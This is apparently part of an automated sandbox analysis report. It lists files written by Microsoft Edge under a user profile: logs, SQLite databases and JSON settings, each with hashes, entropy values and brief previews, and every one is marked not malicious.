SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.251875367596047
Encrypted:	false
SSDEEP:	12:7FxunyvVaYebvqBQFUtbM/RSR5OaYebvqBvJ:7FInYVaYebvZgbgSDOaYebvk
MD5:	648890B7449BE097170E223C94DDB093
SHA1:	57DEBB30ED2AF42407A207E571B6094220CE5EEB
SHA-256:	78AFD35ABE9758258800F244CC5226956C527873D2CFE2EDBB10C14FCEB3804E
SHA-512:	914A8C67CD60FFE2F5901F2DAD868FD67EA10A7DC5CA803930F650CCBD739551A622BE1100179ABAF5CEE8BB5A3EE9D13DD45B594A7CD30880850F4104A003C5
Malicious:	false
Preview:	2025/02/01-15:59:18.406 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/01-15:59:18.413 1c74 Recovering log #3.2025/02/01-15:59:18.419 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.251875367596047
Encrypted:	false
SSDEEP:	12:7FxunyvVaYebvqBQFUtbM/RSR5OaYebvqBvJ:7FInYVaYebvZgbgSDOaYebvk
MD5:	648890B7449BE097170E223C94DDB093
SHA1:	57DEBB30ED2AF42407A207E571B6094220CE5EEB
SHA-256:	78AFD35ABE9758258800F244CC5226956C527873D2CFE2EDBB10C14FCEB3804E
SHA-512:	914A8C67CD60FFE2F5901F2DAD868FD67EA10A7DC5CA803930F650CCBD739551A622BE1100179ABAF5CEE8BB5A3EE9D13DD45B594A7CD30880850F4104A003C5
Malicious:	false
Preview:	2025/02/01-15:59:18.406 1c74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2025/02/01-15:59:18.413 1c74 Recovering log #3.2025/02/01-15:59:18.419 1c74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2122e0e8-5c52-461c-b891-af595639aabc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5385e96e-c061-4a44-a9c1-0d5e9f5b50fa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3bac5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3c2c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\eb392715-e687-49d1-922c-981197db9487.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f9a7b295-1928-4eab-998c-0c637d6bf184.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.247723817492626
Encrypted:	false
SSDEEP:	6:iOXpZvv4q2PN723oH+TcwtzjqEKj0QMxIFUtFpZS0NJZmw7pZTZDkwON723oH+Tj:7YvVaYebvqBZFUts0X/h5OaYebvqBaJ
MD5:	20153C5835D973BB43AF70D69DCFD538
SHA1:	CF43CC3C12F682275C3EAEC5B5E7F069A301DDD7
SHA-256:	2B7E9F39F759BF5DA9F209F5D2DF781B919BD0AA24847BC8F18B75A0F545AAAF
SHA-512:	C16329695B975A93C6FBD7B101A9405D9DD01F785B86792B1FE8FAFA0708DC49A7329587D8B9A055A85E8858EB9EA61DC6B08073E09A9BD421EFA079535FCDE0
Malicious:	false
Preview:	2025/02/01-15:59:36.246 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/01-15:59:36.248 1980 Recovering log #3.2025/02/01-15:59:36.253 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.247723817492626
Encrypted:	false
SSDEEP:	6:iOXpZvv4q2PN723oH+TcwtzjqEKj0QMxIFUtFpZS0NJZmw7pZTZDkwON723oH+Tj:7YvVaYebvqBZFUts0X/h5OaYebvqBaJ
MD5:	20153C5835D973BB43AF70D69DCFD538
SHA1:	CF43CC3C12F682275C3EAEC5B5E7F069A301DDD7
SHA-256:	2B7E9F39F759BF5DA9F209F5D2DF781B919BD0AA24847BC8F18B75A0F545AAAF
SHA-512:	C16329695B975A93C6FBD7B101A9405D9DD01F785B86792B1FE8FAFA0708DC49A7329587D8B9A055A85E8858EB9EA61DC6B08073E09A9BD421EFA079535FCDE0
Malicious:	false
Preview:	2025/02/01-15:59:36.246 1980 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2025/02/01-15:59:36.248 1980 Recovering log #3.2025/02/01-15:59:36.253 1980 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.152640398692342
Encrypted:	false
SSDEEP:	6:iOXpbv9yq2PN723oH+TcwtpIFUtFpbY11Zmw7pbYjRkwON723oH+Tcwta/WLJ:7F4vVaYebmFUtbY11/RYF5OaYebaUJ
MD5:	0CFBEE905CBAFD6710034A62C611F01D
SHA1:	DF9E03B74AEA61C0E7912045AF387EB3C0C5B2D8
SHA-256:	E72B353A8F92875237966EEC75F0325553F9FC744C2E7599C50D4328065C39D1
SHA-512:	B6B498206CC95F3B5E3EB199E2B245091FADA5D4F9D6D87208BB5029E1458984F81B38915C5F8F8B2C5E4823BB50747B98018F613F50E53D924A444BE20218A9
Malicious:	false
Preview:	2025/02/01-15:59:17.376 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/01-15:59:17.379 1ea0 Recovering log #3.2025/02/01-15:59:17.379 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.152640398692342
Encrypted:	false
SSDEEP:	6:iOXpbv9yq2PN723oH+TcwtpIFUtFpbY11Zmw7pbYjRkwON723oH+Tcwta/WLJ:7F4vVaYebmFUtbY11/RYF5OaYebaUJ
MD5:	0CFBEE905CBAFD6710034A62C611F01D
SHA1:	DF9E03B74AEA61C0E7912045AF387EB3C0C5B2D8
SHA-256:	E72B353A8F92875237966EEC75F0325553F9FC744C2E7599C50D4328065C39D1
SHA-512:	B6B498206CC95F3B5E3EB199E2B245091FADA5D4F9D6D87208BB5029E1458984F81B38915C5F8F8B2C5E4823BB50747B98018F613F50E53D924A444BE20218A9
Malicious:	false
Preview:	2025/02/01-15:59:17.376 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2025/02/01-15:59:17.379 1ea0 Recovering log #3.2025/02/01-15:59:17.379 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675584730358607
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMUSA1LyKOMq+8iP5GDHP/0jMVum+:Kq+n0JU91LyKOMq+8iP5GLP/0X
MD5:	5E466F2F06ABA07C89553D70044107CA
SHA1:	5528CCF033892967A14EEBD71284650D8E439540
SHA-256:	9A9684A3F92C984331A96536A4EBBFA6B1FAED3DF940770331A8446CD335980C
SHA-512:	72F162A2359DD257C7FC8894C45D28B7F288523C27F4BEF9BC744AD53E21BDFB9A93359B1D2E231F9D3465E106865F9578987E6EC4A8DCCB3638486B605E4F3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46717547351373595
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0YSe:v7doKsKuKZKlZNmu46yjx00
MD5:	3190E48646BF686FD74B657202DD26C7
SHA1:	A68639DC82C7FFE2F3CAFCDB3E85A8427EDE54A8
SHA-256:	BF795B15E7955D5254B7CE76633F57917AA894C86A9E702621591D8A180954E9
SHA-512:	EB9E285A944DC1BE4B759B8666590E2389F6F0CD5C36CE486EAA92A64729AC87EB533BB36DE4997DE5EAA36BBE54692FCF070280AEFA2C725EA167D5F804E827
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b241903b-2b39-4aae-858d-c09ce446b426.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14075
Entropy (8bit):	5.293446297891119
Encrypted:	false
SSDEEP:	192:stpJ99QTryDigabatSuypmseMONaFvrEEPowkN1YAsn8/bV+FMAQwX3UdPrYJ:stpPGKSu4ms9SCDVPUjbGjQwUC
MD5:	186526D2DE665D080AFBA9ACEF49799D
SHA1:	EC94653B5B4F2E6910422CDEB84C85F8BE7BCA84
SHA-256:	14D982C3A44786938F984FACC3A11462398BECEEF74691AF6134EDB4BD3AA270
SHA-512:	7D173DA23C0411F33E9C4EFA0C74038D2036FF601C50DB27A7810144232D8A34B66D3858FE029BC172678220FE6D9E97035A7EA709551DD7827AC4BCF8E992EE
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382917157897682","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c022725d-a9e7-48a0-8cf3-c5fdbc5b4a5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1059062501659278
Encrypted:	false
SSDEEP:	12:Jnt5Ubnt56WpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntabntvoPnnnnnnnnnnnnvHj
MD5:	B537D94D62F7AC99EA6ECA93B50E8161
SHA1:	A797B3514630D714634B400154E94E99331D9578
SHA-256:	1861573C17939398942AE3D5FEDBC90EA1D879C915606C16F125889E340718A9
SHA-512:	9090F82DB1B384B3D338FB3CBB59C4469848697723885E2F11F161F5DA92F615DD28A6E3C9C9E58F28721BF08117D36AB08EF9B1CD5F83B188783F90E34CCB84
Malicious:	false
Preview:	..-.............Q........f.....l$J...V..M.b..w...-.............Q........f.....l$J...V..M.b..w.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9346969495125301
Encrypted:	false
SSDEEP:	384:uNKwS46KuUNnxiINkWl6URzkn81ZVVZ8kyiyCxywyE+8ypxyQPw:Sl27fw
MD5:	AD7DB370D27D109C64A966AE05D4EE1C
SHA1:	393746E42D2864F2E8741E5331E9EC5CBAF125BC
SHA-256:	16F73F31FEB44B13C1CE05BE45282BFBF9D066525FD50E890C19D64D3B2EC382
SHA-512:	45DE02010EC46F0D952F996C5F2C1E466A81CFCCA90A291A80983A11698003D70BA717CCFBB078531FDA8526910DA25FADD72963739F82CF8D60AD5B54C7FE44
Malicious:	false
